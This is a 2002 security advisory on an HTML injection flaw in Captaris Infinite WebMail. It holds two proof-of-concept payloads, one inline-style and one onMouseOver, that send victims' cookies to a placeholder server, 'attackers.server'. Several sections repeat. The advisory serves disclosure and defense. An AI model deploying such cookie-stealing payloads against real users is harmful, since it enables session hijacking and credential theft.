Captaris Infinite WebMail HTML Injection Vulnerability
BID:6411
Info
Captaris Infinite WebMail HTML Injection Vulnerability
| Bugtraq ID: | 6411 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 16 2002 12:00AM |
| Updated: | Dec 16 2002 12:00AM |
| Credit: | Discovery of this issue is credited to "Pedram Amini" <[email protected]>. |
| Vulnerable: |
Captaris Infinite Webmail 3.61.5 |
| Not Vulnerable: | |
Discussion
Captaris Infinite WebMail HTML Injection Vulnerability
An HTML injection vulnerability has been discovered in Captaris Infinite WebMail. Due to insufficient sanitization of HTML content, it is possible for an attacker to embed malicious script code into HTML email messages.
This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.
An HTML injection vulnerability has been discovered in Captaris Infinite WebMail. Due to insufficient sanitization of HTML content, it is possible for an attacker to embed malicious script code into HTML email messages.
This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.
Exploit / POC
Captaris Infinite WebMail HTML Injection Vulnerability
The following proof-of-concept examples have been made available by pedram:
Launch on e-mail open:
<p style="left:expression(document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie)">
Launch on mouse over:
<b onMouseOver= "document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie\">
The following proof-of-concept examples have been made available by pedram:
Launch on e-mail open:
<p style="left:expression(document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie)">
Launch on mouse over:
<b onMouseOver= "document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie\">
Solution / Fix
Captaris Infinite WebMail HTML Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Captaris Infinite WebMail HTML Injection Vulnerability
References:
References:
- Captaris Homepage (Captaris)
- Captaris (Infinite) WebMail XSS ("Pedram Amini"